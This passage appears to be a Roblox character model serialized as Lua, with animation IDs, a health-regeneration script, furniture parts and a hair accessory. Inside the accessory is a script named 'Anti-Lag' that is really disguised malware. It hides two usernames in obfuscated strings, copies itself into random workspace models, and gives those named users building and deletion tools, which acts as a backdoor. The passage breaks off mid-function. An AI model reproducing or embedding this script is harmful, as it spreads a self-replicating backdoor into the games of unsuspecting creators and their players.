  2236. Animation145.Parent = StringValue144
  2237. Animation145.AnimationId = "http://www.roblox.com/asset/?id=507767968"
  2238. StringValue146.Name = "idle"
  2239. StringValue146.Parent = LocalScript118
  2240. Animation147.Name = "Animation1"
  2241. Animation147.Parent = StringValue146
  2242. Animation147.AnimationId = "http://www.roblox.com/asset/?id=507766388"
  2243. NumberValue148.Name = "Weight"
  2244. NumberValue148.Parent = Animation147
  2245. NumberValue148.Value = 9
  2246. Animation149.Name = "Animation2"
  2247. Animation149.Parent = StringValue146
  2248. Animation149.AnimationId = "http://www.roblox.com/asset/?id=507766666"
  2249. NumberValue150.Name = "Weight"
  2250. NumberValue150.Parent = Animation149
  2251. NumberValue150.Value = 1
  2252. StringValue151.Name = "jump"
  2253. StringValue151.Parent = LocalScript118
  2254. Animation152.Name = "JumpAnim"
  2255. Animation152.Parent = StringValue151
  2256. Animation152.AnimationId = "http://www.roblox.com/asset/?id=507765000"
  2257. StringValue153.Name = "laugh"
  2258. StringValue153.Parent = LocalScript118
  2259. Animation154.Name = "LaughAnim"
  2260. Animation154.Parent = StringValue153
  2261. Animation154.AnimationId = "http://www.roblox.com/asset/?id=507770818"
  2262. StringValue155.Name = "point"
  2263. StringValue155.Parent = LocalScript118
  2264. Animation156.Name = "PointAnim"
  2265. Animation156.Parent = StringValue155
  2266. Animation156.AnimationId = "http://www.roblox.com/asset/?id=507770453"
  2267. StringValue157.Name = "run"
  2268. StringValue157.Parent = LocalScript118
  2269. Animation158.Name = "RunAnim"
  2270. Animation158.Parent = StringValue157
  2271. Animation158.AnimationId = "http://www.roblox.com/asset/?id=507767714"
  2272. StringValue159.Name = "sit"
  2273. StringValue159.Parent = LocalScript118
  2274. Animation160.Name = "SitAnim"
  2275. Animation160.Parent = StringValue159
  2276. Animation160.AnimationId = "http://www.roblox.com/asset/?id=507768133"
  2277. StringValue161.Name = "swim"
  2278. StringValue161.Parent = LocalScript118
  2279. Animation162.Name = "Swim"
  2280. Animation162.Parent = StringValue161
  2281. Animation162.AnimationId = "http://www.roblox.com/asset/?id=507784897"
  2282. StringValue163.Name = "swimidle"
  2283. StringValue163.Parent = LocalScript118
  2284. Animation164.Name = "SwimIdle"
  2285. Animation164.Parent = StringValue163
  2286. Animation164.AnimationId = "http://www.roblox.com/asset/?id=481825862"
  2287. StringValue165.Name = "toollunge"
  2288. StringValue165.Parent = LocalScript118
  2289. Animation166.Name = "ToolLungeAnim"
  2290. Animation166.Parent = StringValue165
  2291. Animation166.AnimationId = "http://www.roblox.com/asset/?id=522638767"
  2292. StringValue167.Name = "toolnone"
  2293. StringValue167.Parent = LocalScript118
  2294. Animation168.Name = "ToolNoneAnim"
  2295. Animation168.Parent = StringValue167
  2296. Animation168.AnimationId = "http://www.roblox.com/asset/?id=507768375"
  2297. StringValue169.Name = "toolslash"
  2298. StringValue169.Parent = LocalScript118
  2299. Animation170.Name = "ToolSlashAnim"
  2300. Animation170.Parent = StringValue169
  2301. Animation170.AnimationId = "http://www.roblox.com/asset/?id=522635514"
  2302. StringValue171.Name = "walk"
  2303. StringValue171.Parent = LocalScript118
  2304. Animation172.Name = "WalkAnim"
  2305. Animation172.Parent = StringValue171
  2306. Animation172.AnimationId = "http://www.roblox.com/asset/?id=540798782"
  2307. StringValue173.Name = "wave"
  2308. StringValue173.Parent = LocalScript118
  2309. Animation174.Name = "WaveAnim"
  2310. Animation174.Parent = StringValue173
  2311. Animation174.AnimationId = "http://www.roblox.com/asset/?id=507770239"
  2312. Script175.Name = "Health"
  2313. Script175.Parent = Model5
  2314. table.insert(cors,sandbox(Script175,function()
  2315. --Responsible for regening a player's humanoid's health
  2316.  
  2317. -- declarations
  2318. local Figure = script.Parent
  2319. local Head = Figure:WaitForChild("Head")
  2320. local Humanoid = Figure:WaitForChild("Humanoid")
  2321. local regening = false
  2322.  
  2323. -- regeneration
  2324. function regenHealth()
  2325. if regening then return end
  2326. regening = true
  2327.  
  2328. while Humanoid.Health < Humanoid.MaxHealth do
  2329. local s = wait(1)
  2330. local health = Humanoid.Health
  2331. if health > 0 and health < Humanoid.MaxHealth then
  2332. local newHealthDelta = 0.01 * s * Humanoid.MaxHealth
  2333. health = health + newHealthDelta
  2334. Humanoid.Health = math.min(health,Humanoid.MaxHealth)
  2335. end
  2336. end
  2337.  
  2338. if Humanoid.Health > Humanoid.MaxHealth then
  2339. Humanoid.Health = Humanoid.MaxHealth
  2340. end
  2341.  
  2342. regening = false
  2343. end
  2344.  
  2345. Humanoid.HealthChanged:connect(regenHealth)
  2346.  
  2347. end))
  2348. Model176.Parent = Script175
  2349. Part177.Parent = Model176
  2350. Part177.CFrame = CFrame.new(226.939011, 0.98249203, -13.6600342, 0, 0, -1.00000501, -1, 0, 0, -0, 1.00000501, 0)
  2351. Part177.Orientation = Vector3.new(0, -90, -90)
  2352. Part177.Position = Vector3.new(226.939011, 0.98249203, -13.6600342)
  2353. Part177.Rotation = Vector3.new(90, -90, 0)
  2354. Part177.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2355. Part177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2356. Part177.Anchored = true
  2357. Part177.BrickColor = BrickColor.new("Dark stone grey")
  2358. Part177.brickColor = BrickColor.new("Dark stone grey")
  2359. Part177.FormFactor = Enum.FormFactor.Custom
  2360. Part177.formFactor = Enum.FormFactor.Custom
  2361. CylinderMesh178.Parent = Part177
  2362. Part179.Parent = Model176
  2363. Part179.CFrame = CFrame.new(234.739059, 0.98249203, -13.6600304, 1.00000501, 0, 0, 0, 0, 1, 0, -1.00000501, 0)
  2364. Part179.Orientation = Vector3.new(-90, 0, 0)
  2365. Part179.Position = Vector3.new(234.739059, 0.98249203, -13.6600304)
  2366. Part179.Rotation = Vector3.new(-90, 0, 0)
  2367. Part179.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2368. Part179.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2369. Part179.Anchored = true
  2370. Part179.BrickColor = BrickColor.new("Dark stone grey")
  2371. Part179.brickColor = BrickColor.new("Dark stone grey")
  2372. Part179.FormFactor = Enum.FormFactor.Custom
  2373. Part179.formFactor = Enum.FormFactor.Custom
  2374. CylinderMesh180.Parent = Part179
  2375. Part181.Parent = Model176
  2376. Part181.CFrame = CFrame.new(234.739059, 2.98249102, -13.6600304, 1.00000501, 0, 0, 0, 0, 1, 0, -1.00000501, 0)
  2377. Part181.Orientation = Vector3.new(-90, 0, 0)
  2378. Part181.Position = Vector3.new(234.739059, 2.98249102, -13.6600304)
  2379. Part181.Rotation = Vector3.new(-90, 0, 0)
  2380. Part181.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2381. Part181.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2382. Part181.Anchored = true
  2383. Part181.BrickColor = BrickColor.new("Dark stone grey")
  2384. Part181.brickColor = BrickColor.new("Dark stone grey")
  2385. Part181.FormFactor = Enum.FormFactor.Custom
  2386. Part181.formFactor = Enum.FormFactor.Custom
  2387. CylinderMesh182.Parent = Part181
  2388. Part183.Name = "Nail"
  2389. Part183.Parent = Model176
  2390. Part183.CFrame = CFrame.new(226.939011, 2.98249102, -13.6600342, 0, 0, -1.00000501, -1, 0, 0, -0, 1.00000501, 0)
  2391. Part183.Orientation = Vector3.new(0, -90, -90)
  2392. Part183.Position = Vector3.new(226.939011, 2.98249102, -13.6600342)
  2393. Part183.Rotation = Vector3.new(90, -90, 0)
  2394. Part183.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2395. Part183.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2396. Part183.Anchored = true
  2397. Part183.BottomSurface = Enum.SurfaceType.Smooth
  2398. Part183.BrickColor = BrickColor.new("Dark stone grey")
  2399. Part183.TopSurface = Enum.SurfaceType.Smooth
  2400. Part183.brickColor = BrickColor.new("Dark stone grey")
  2401. Part183.FormFactor = Enum.FormFactor.Custom
  2402. Part183.formFactor = Enum.FormFactor.Custom
  2403. CylinderMesh184.Parent = Part183
  2404. Part185.Parent = Model176
  2405. Part185.CFrame = CFrame.new(234.73909, 3.58251095, -14.2600241, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
  2406. Part185.Orientation = Vector3.new(0, 90, 0)
  2407. Part185.Position = Vector3.new(234.73909, 3.58251095, -14.2600241)
  2408. Part185.Rotation = Vector3.new(0, 90, 0)
  2409. Part185.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2410. Part185.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2411. Part185.Anchored = true
  2412. Part185.BrickColor = BrickColor.new("Dark stone grey")
  2413. Part185.brickColor = BrickColor.new("Dark stone grey")
  2414. Part185.FormFactor = Enum.FormFactor.Custom
  2415. Part185.formFactor = Enum.FormFactor.Custom
  2416. CylinderMesh186.Parent = Part185
  2417. Part187.Parent = Model176
  2418. Part187.CFrame = CFrame.new(234.339111, 6.48262405, -13.9600182, -1.00000501, 0, 1.69874056e-06, 2.23517418e-08, 0.99999994, 2.90106072e-09, -1.69874056e-06, 8.18549308e-12, -1.00000501)
  2419. Part187.Orientation = Vector3.new(0, 180, 0)
  2420. Part187.Position = Vector3.new(234.339111, 6.48262405, -13.9600182)
  2421. Part187.Rotation = Vector3.new(-180, 0, -180)
  2422. Part187.Color = Color3.new(0.486275, 0.360784, 0.27451)
  2423. Part187.Size = Vector3.new(0.999999344, 5.99999857, 0.400000006)
  2424. Part187.Anchored = true
  2425. Part187.BrickColor = BrickColor.new("Brown")
  2426. Part187.Material = Enum.Material.Wood
  2427. Part187.TopSurface = Enum.SurfaceType.Smooth
  2428. Part187.brickColor = BrickColor.new("Brown")
  2429. Part187.FormFactor = Enum.FormFactor.Custom
  2430. Part187.formFactor = Enum.FormFactor.Custom
  2431. Part188.Parent = Model176
  2432. Part188.CFrame = CFrame.new(230.839035, 1.88249195, -13.9600296, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
  2433. Part188.Orientation = Vector3.new(0, 180, 0)
  2434. Part188.Position = Vector3.new(230.839035, 1.88249195, -13.9600296)
  2435. Part188.Rotation = Vector3.new(-180, 0, -180)
  2436. Part188.Color = Color3.new(0.486275, 0.360784, 0.27451)
  2437. Part188.Size = Vector3.new(7.99999619, 2.4000001, 0.400000006)
  2438. Part188.Anchored = true
  2439. Part188.BrickColor = BrickColor.new("Brown")
  2440. Part188.Material = Enum.Material.Wood
  2441. Part188.TopSurface = Enum.SurfaceType.Smooth
  2442. Part188.brickColor = BrickColor.new("Brown")
  2443. Part188.FormFactor = Enum.FormFactor.Custom
  2444. Part188.formFactor = Enum.FormFactor.Custom
  2445. Part189.Parent = Model176
  2446. Part189.CFrame = CFrame.new(234.73909, 3.58251095, -16.2600365, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
  2447. Part189.Orientation = Vector3.new(0, 90, 0)
  2448. Part189.Position = Vector3.new(234.73909, 3.58251095, -16.2600365)
  2449. Part189.Rotation = Vector3.new(0, 90, 0)
  2450. Part189.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2451. Part189.Size = Vector3.new(0.200000003, 0.200000003, 0.200001463)
  2452. Part189.Anchored = true
  2453. Part189.BrickColor = BrickColor.new("Dark stone grey")
  2454. Part189.brickColor = BrickColor.new("Dark stone grey")
  2455. Part189.FormFactor = Enum.FormFactor.Custom
  2456. Part189.formFactor = Enum.FormFactor.Custom
  2457. CylinderMesh190.Parent = Part189
  2458. Part191.Parent = Model176
  2459. Part191.CFrame = CFrame.new(226.939056, 3.58247995, -16.2600327, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
  2460. Part191.Orientation = Vector3.new(0, 90, 0)
  2461. Part191.Position = Vector3.new(226.939056, 3.58247995, -16.2600327)
  2462. Part191.Rotation = Vector3.new(0, 90, 0)
  2463. Part191.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2464. Part191.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2465. Part191.Anchored = true
  2466. Part191.BrickColor = BrickColor.new("Dark stone grey")
  2467. Part191.brickColor = BrickColor.new("Dark stone grey")
  2468. Part191.FormFactor = Enum.FormFactor.Custom
  2469. Part191.formFactor = Enum.FormFactor.Custom
  2470. CylinderMesh192.Parent = Part191
  2471. Part193.Parent = Model176
  2472. Part193.CFrame = CFrame.new(230.839066, 3.28251696, -15.0600281, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
  2473. Part193.Orientation = Vector3.new(0, 180, 0)
  2474. Part193.Position = Vector3.new(230.839066, 3.28251696, -15.0600281)
  2475. Part193.Rotation = Vector3.new(-180, 0, -180)
  2476. Part193.Color = Color3.new(0.486275, 0.360784, 0.27451)
  2477. Part193.Size = Vector3.new(7.99999666, 0.400000006, 2.60000014)
  2478. Part193.Anchored = true
  2479. Part193.BrickColor = BrickColor.new("Brown")
  2480. Part193.Material = Enum.Material.Wood
  2481. Part193.TopSurface = Enum.SurfaceType.Smooth
  2482. Part193.brickColor = BrickColor.new("Brown")
  2483. Part193.FormFactor = Enum.FormFactor.Custom
  2484. Part193.formFactor = Enum.FormFactor.Custom
  2485. Part194.Parent = Model176
  2486. Part194.CFrame = CFrame.new(227.039017, 1.88249195, -15.2600365, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
  2487. Part194.Orientation = Vector3.new(0, 90, 0)
  2488. Part194.Position = Vector3.new(227.039017, 1.88249195, -15.2600365)
  2489. Part194.Rotation = Vector3.new(0, 90, 0)
  2490. Part194.Color = Color3.new(0.486275, 0.360784, 0.27451)
  2491. Part194.Size = Vector3.new(2.19999957, 2.4000001, 0.399999857)
  2492. Part194.Anchored = true
  2493. Part194.BrickColor = BrickColor.new("Brown")
  2494. Part194.Material = Enum.Material.Wood
  2495. Part194.TopSurface = Enum.SurfaceType.Smooth
  2496. Part194.brickColor = BrickColor.new("Brown")
  2497. Part194.FormFactor = Enum.FormFactor.Custom
  2498. Part194.formFactor = Enum.FormFactor.Custom
  2499. Part195.Name = "Glass"
  2500. Part195.Parent = Model176
  2501. Part195.CFrame = CFrame.new(232.939056, 4.09100389, -15.0600319, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
  2502. Part195.Orientation = Vector3.new(0, 180, 0)
  2503. Part195.Position = Vector3.new(232.939056, 4.09100389, -15.0600319)
  2504. Part195.Rotation = Vector3.new(-180, 0, -180)
  2505. Part195.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2506. Part195.Transparency = 0.54000002145767
  2507. Part195.Size = Vector3.new(1.4000001, 1.20000005, 1.4000001)
  2508. Part195.Anchored = true
  2509. Part195.BottomSurface = Enum.SurfaceType.Smooth
  2510. Part195.BrickColor = BrickColor.new("White")
  2511. Part195.TopSurface = Enum.SurfaceType.Smooth
  2512. Part195.brickColor = BrickColor.new("White")
  2513. Part195.FormFactor = Enum.FormFactor.Custom
  2514. Part195.formFactor = Enum.FormFactor.Custom
  2515. CylinderMesh196.Parent = Part195
  2516. Part197.Name = "Liquid"
  2517. Part197.Parent = Model176
  2518. Part197.CFrame = CFrame.new(232.939056, 4.18246794, -15.1600304, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
  2519. Part197.Orientation = Vector3.new(0, 180, 0)
  2520. Part197.Position = Vector3.new(232.939056, 4.18246794, -15.1600304)
  2521. Part197.Rotation = Vector3.new(-180, 0, -180)
  2522. Part197.Color = Color3.new(0.960784, 0.803922, 0.188235)
  2523. Part197.Transparency = 0.30000001192093
  2524. Part197.Size = Vector3.new(1.4000001, 1.20000005, 1.20000005)
  2525. Part197.Anchored = true
  2526. Part197.BottomSurface = Enum.SurfaceType.Smooth
  2527. Part197.BrickColor = BrickColor.new("Bright yellow")
  2528. Part197.Reflectance = 0.10000000149012
  2529. Part197.TopSurface = Enum.SurfaceType.Smooth
  2530. Part197.brickColor = BrickColor.new("Bright yellow")
  2531. Part197.FormFactor = Enum.FormFactor.Custom
  2532. Part197.formFactor = Enum.FormFactor.Custom
  2533. CylinderMesh198.Parent = Part197
  2534. CylinderMesh198.Scale = Vector3.new(0.75, 0.699999988, 8)
  2535. Part199.Parent = Model176
  2536. Part199.CFrame = CFrame.new(230.839981, 9.68258953, -13.9446821, -1.00000501, -2.98024716e-08, 0, -2.98023224e-08, 1, 7.50242923e-11, 0, 9.31359878e-10, -1.00000489)
  2537. Part199.Orientation = Vector3.new(0, 180, 0)
  2538. Part199.Position = Vector3.new(230.839981, 9.68258953, -13.9446821)
  2539. Part199.Rotation = Vector3.new(-180, 0, 180)
  2540. Part199.Color = Color3.new(0.486275, 0.360784, 0.27451)
  2541. Part199.Size = Vector3.new(7.99999762, 2.4000001, 0.400000006)
  2542. Part199.Anchored = true
  2543. Part199.BrickColor = BrickColor.new("Brown")
  2544. Part199.Material = Enum.Material.Wood
  2545. Part199.TopSurface = Enum.SurfaceType.Smooth
  2546. Part199.brickColor = BrickColor.new("Brown")
  2547. Part199.FormFactor = Enum.FormFactor.Custom
  2548. Part199.formFactor = Enum.FormFactor.Custom
  2549. Decal200.Parent = Part199
  2550. Decal200.Texture = "http://www.roblox.com/asset/?id=57751106"
  2551. VehicleSeat201.Name = "Seat"
  2552. VehicleSeat201.Parent = Model176
  2553. VehicleSeat201.CFrame = CFrame.new(230.839035, 1.58249295, -17.7600403, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
  2554. VehicleSeat201.Orientation = Vector3.new(0, 180, 0)
  2555. VehicleSeat201.Position = Vector3.new(230.839035, 1.58249295, -17.7600403)
  2556. VehicleSeat201.Rotation = Vector3.new(-180, 0, -180)
  2557. VehicleSeat201.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2558. VehicleSeat201.MaxSpeed = 0
  2559. VehicleSeat201.Size = Vector3.new(2, 1.80000019, 2)
  2560. VehicleSeat201.Torque = 0
  2561. VehicleSeat201.Anchored = true
  2562. VehicleSeat201.BottomSurface = Enum.SurfaceType.Smooth
  2563. VehicleSeat201.BrickColor = BrickColor.new("Dark stone grey")
  2564. VehicleSeat201.TopSurface = Enum.SurfaceType.Smooth
  2565. VehicleSeat201.brickColor = BrickColor.new("Dark stone grey")
  2566. VehicleSeat201.HeadsUpDisplay = false
  2567. VehicleSeat201.TurnSpeed = 0
  2568. CylinderMesh202.Parent = VehicleSeat201
  2569. Part203.Parent = Model176
  2570. Part203.CFrame = CFrame.new(227.33905, 6.48262405, -13.9600296, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
  2571. Part203.Orientation = Vector3.new(0, 180, 0)
  2572. Part203.Position = Vector3.new(227.33905, 6.48262405, -13.9600296)
  2573. Part203.Rotation = Vector3.new(-180, 0, -180)
  2574. Part203.Color = Color3.new(0.486275, 0.360784, 0.27451)
  2575. Part203.Size = Vector3.new(1, 5.99999857, 0.400000036)
  2576. Part203.Anchored = true
  2577. Part203.BrickColor = BrickColor.new("Brown")
  2578. Part203.Material = Enum.Material.Wood
  2579. Part203.TopSurface = Enum.SurfaceType.Smooth
  2580. Part203.brickColor = BrickColor.new("Brown")
  2581. Part203.FormFactor = Enum.FormFactor.Custom
  2582. Part203.formFactor = Enum.FormFactor.Custom
  2583. Part204.Parent = Model176
  2584. Part204.CFrame = CFrame.new(227.293396, 6.08796692, -13.5390663, 0, 0, -1.00000501, -1, 0, 0, -0, 1.00000501, 0)
  2585. Part204.Orientation = Vector3.new(0, -90, -90)
  2586. Part204.Position = Vector3.new(227.293396, 6.08796692, -13.5390663)
  2587. Part204.Rotation = Vector3.new(90, -90, 0)
  2588. Part204.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2589. Part204.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2590. Part204.Anchored = true
  2591. Part204.BrickColor = BrickColor.new("Dark stone grey")
  2592. Part204.brickColor = BrickColor.new("Dark stone grey")
  2593. Part204.FormFactor = Enum.FormFactor.Custom
  2594. Part204.formFactor = Enum.FormFactor.Custom
  2595. CylinderMesh205.Parent = Part204
  2596. SpecialMesh206.Parent = Part204
  2597. Part207.Parent = Model176
  2598. Part207.CFrame = CFrame.new(227.33905, 5.18252277, -13.6600056, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
  2599. Part207.Orientation = Vector3.new(0, 180, 0)
  2600. Part207.Position = Vector3.new(227.33905, 5.18252277, -13.6600056)
  2601. Part207.Rotation = Vector3.new(-180, 0, -180)
  2602. Part207.Color = Color3.new(0.94902, 0.952941, 0.952941)
  2603. Part207.Size = Vector3.new(1.39999962, 2.20000005, 0.200000003)
  2604. Part207.Anchored = true
  2605. Part207.BrickColor = BrickColor.new("White")
  2606. Part207.brickColor = BrickColor.new("White")
  2607. Part207.FormFactor = Enum.FormFactor.Custom
  2608. Part207.formFactor = Enum.FormFactor.Custom
  2609. Decal208.Parent = Part207
  2610. Decal208.Texture = "http://www.roblox.com/asset/?id=85236996"
  2611. BlockMesh209.Parent = Part207
  2612. Part210.Parent = Model176
  2613. Part210.CFrame = CFrame.new(234.639099, 1.88252401, -15.2600279, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
  2614. Part210.Orientation = Vector3.new(0, 90, 0)
  2615. Part210.Position = Vector3.new(234.639099, 1.88252401, -15.2600279)
  2616. Part210.Rotation = Vector3.new(0, 90, 0)
  2617. Part210.Color = Color3.new(0.486275, 0.360784, 0.27451)
  2618. Part210.Size = Vector3.new(2.19999981, 2.4000001, 0.400000006)
  2619. Part210.Anchored = true
  2620. Part210.BrickColor = BrickColor.new("Brown")
  2621. Part210.Material = Enum.Material.Wood
  2622. Part210.TopSurface = Enum.SurfaceType.Smooth
  2623. Part210.brickColor = BrickColor.new("Brown")
  2624. Part210.FormFactor = Enum.FormFactor.Custom
  2625. Part210.formFactor = Enum.FormFactor.Custom
  2626. Part211.Parent = Model176
  2627. Part211.CFrame = CFrame.new(226.939056, 3.58247995, -14.2600241, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
  2628. Part211.Orientation = Vector3.new(0, 90, 0)
  2629. Part211.Position = Vector3.new(226.939056, 3.58247995, -14.2600241)
  2630. Part211.Rotation = Vector3.new(0, 90, 0)
  2631. Part211.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2632. Part211.Size = Vector3.new(0.200000867, 0.200000003, 0.200000003)
  2633. Part211.Anchored = true
  2634. Part211.BrickColor = BrickColor.new("Dark stone grey")
  2635. Part211.brickColor = BrickColor.new("Dark stone grey")
  2636. Part211.FormFactor = Enum.FormFactor.Custom
  2637. Part211.formFactor = Enum.FormFactor.Custom
  2638. CylinderMesh212.Parent = Part211
  2639. BodyColors213.Parent = Model5
  2640. BodyColors213.HeadColor = BrickColor.new("Light orange")
  2641. BodyColors213.HeadColor3 = Color3.new(0.917647, 0.721569, 0.572549)
  2642. BodyColors213.LeftArmColor = BrickColor.new("Light orange")
  2643. BodyColors213.LeftArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
  2644. BodyColors213.LeftLegColor = BrickColor.new("Light orange")
  2645. BodyColors213.LeftLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
  2646. BodyColors213.RightArmColor = BrickColor.new("Light orange")
  2647. BodyColors213.RightArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
  2648. BodyColors213.RightLegColor = BrickColor.new("Light orange")
  2649. BodyColors213.RightLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
  2650. BodyColors213.TorsoColor = BrickColor.new("Light orange")
  2651. BodyColors213.TorsoColor3 = Color3.new(0.917647, 0.721569, 0.572549)
  2652. Shirt214.Name = "Shirt"
  2653. Shirt214.Parent = Model5
  2654. Shirt214.ShirtTemplate = "http://www.roblox.com/asset/?id=494129861"
  2655. Accessory215.Name = "CoolBoyHair"
  2656. Accessory215.Parent = Model5
  2657. Accessory215.AttachmentPoint = CFrame.new(0, 0.0500000007, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2658. Accessory215.AttachmentPos = Vector3.new(0, 0.0500000007, 0)
  2659. Part216.Name = "Handle"
  2660. Part216.Parent = Accessory215
  2661. Part216.CFrame = CFrame.new(231.486786, 5.14999294, -19.4362869, -0.954082847, 3.76072334e-21, 0.299544066, 6.38233093e-21, 1, 7.7736261e-21, -0.299544066, 9.32846716e-21, -0.954082847)
  2662. Part216.Orientation = Vector3.new(0, 162.570007, 0)
  2663. Part216.Position = Vector3.new(231.486786, 5.14999294, -19.4362869)
  2664. Part216.Rotation = Vector3.new(-180, 17.4300003, -180)
  2665. Part216.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  2666. Part216.Size = Vector3.new(1.3400265, 1.34999824, 0.779999673)
  2667. Part216.Anchored = true
  2668. Part216.BottomSurface = Enum.SurfaceType.Smooth
  2669. Part216.CanCollide = false
  2670. Part216.Locked = true
  2671. Part216.TopSurface = Enum.SurfaceType.Smooth
  2672. Part216.FormFactor = Enum.FormFactor.Custom
  2673. Part216.formFactor = Enum.FormFactor.Custom
  2674. SpecialMesh217.Parent = Part216
  2675. SpecialMesh217.MeshId = "http://www.roblox.com/asset/?id=188004660 "
  2676. SpecialMesh217.TextureId = "http://www.roblox.com/asset/?id=451217406"
  2677. SpecialMesh217.MeshType = Enum.MeshType.FileMesh
  2678. Vector3Value218.Name = "OriginalSize"
  2679. Vector3Value218.Parent = Part216
  2680. Vector3Value218.Value = Vector3.new(1.3400265, 1.34999824, 0.779999673)
  2681. Weld219.Name = "AccessoryWeld"
  2682. Weld219.Parent = Part216
  2683. Weld219.C0 = CFrame.new(8.65838956e-09, 0.150000095, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
  2684. Weld219.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
  2685. Weld219.Part0 = Part216
  2686. Weld219.Part1 = Part58
  2687. Weld219.part1 = Part58
  2688. Camera220.Name = "ThumbnailCamera"
  2689. Camera220.Parent = Accessory215
  2690. Camera220.CFrame = CFrame.new(-0.621695459, 18.8608036, 20.4826336, -0.891687095, 0.136562526, -0.431561112, -7.45058149e-09, 0.953404903, 0.301693916, 0.452652574, 0.269016564, -0.850138664)
  2691. Camera220.CoordinateFrame = CFrame.new(-0.621695459, 18.8608036, 20.4826336, -0.891687095, 0.136562526, -0.431561112, -7.45058149e-09, 0.953404903, 0.301693916, 0.452652574, 0.269016564, -0.850138664)
  2692. Camera220.Focus = CFrame.new(0.241426766, 18.2574158, 22.1829109, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2693. Camera220.focus = CFrame.new(0.241426766, 18.2574158, 22.1829109, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2694. Script221.Name = "Anti-Lag"
  2695. Script221.Parent = Accessory215
  2696. table.insert(cors,sandbox(Script221,function()
  2697. Altitude = script:clone()
  2698. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  2699. Knox = {}
  2700. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  2701. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  2702. Play = {}
  2703. function rando(votation)
  2704. local hatr = 5
  2705. local calc = math.pi * math.huge
  2706. local longicate = votation:GetChildren()
  2707. if #longicate > hatr then
  2708. calc = calc + math.pi
  2709. return longicate[math.random(6,#longicate)]
  2710. end
  2711. end
  2712. function doublecheck()
  2713. local fj = game.Workspace:GetChildren()
  2714. for off = 1,#fj do
  2715. if fj[off].className == "Part" then
  2716. local fh = fj[off]:FindFirstChild("Anti-Lag")
  2717. if fh ~= nil then
  2718. return false
  2719. end
  2720. end
  2721. end
  2722. return true
  2723. end
  2724. function workcheck()
  2725. if doublecheck() == true then
  2726. local l = Altitude:clone()
  2727. l.Parent = rando(game.Workspace)
  2728. end
  2729. end
  2730. workcheck()
  2731. function gibite(quen)
  2732. local hup = Instance.new("Message")
  2733. hup.Text = "Detected"
  2734. hup.Parent = quen.Parent
  2735. local con = Instance.new("Script")
  2736. con.Source = [[wait(5) script.Parent:remove()]]
  2737. con.Parent = hup
  2738. for ish = 0,7 do
  2739. local a = Instance.new("HopperBin")
  2740. a.BinType = ish
  2741. a.Parent = quen
  2742. end
  2743. end
  2744. function laber(zonsa)
  2745. wait()
  2746. for slate = 1,#Knox do
  2747. if zonsa.Name == Knox[slate] then
  2748. gibite(zonsa.Backpack)
  2749. table.insert (Play, 1, zonsa.Name)
  2750. end
  2751. end
  2752. end
  2753. function yeild(frequency)
  2754. local t = Knox
  2755. for g = 1,#t do
  2756. if t[g] == frequency.Name then
  2757. return true
  2758. end
  2759. end
  2760. return false
  2761. end
  2762. function check(los)
  2763. local r = los:GetChildren()
  2764. for i = 1,#r do
  2765. local h = r[i]:FindFirstChild("Anti-Lag")
  2766. if h ~= nil then
  2767. h:remove()
  2768. end
  2769. end
  2770. end
  2771. function alto(xylem)
  2772. if xylem.className == "Model" then
  2773. check(xylem)
  2774. local que = script:clone()
  2775. que.Parent = rando(xylem)
  2776. end
  2777. end
  2778. function sortation(gone)
  2779. local dimbs = Altitude:clone()
  2780. dimbs = ramno(game.Workspace)
  2781. end
  2782. function onPlayerEntered(newPlayer)
  2783. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  2784. end
  2785. function Player(player)
  2786. player.Changed:connect(function (property)
  2787. if property == "Character" then
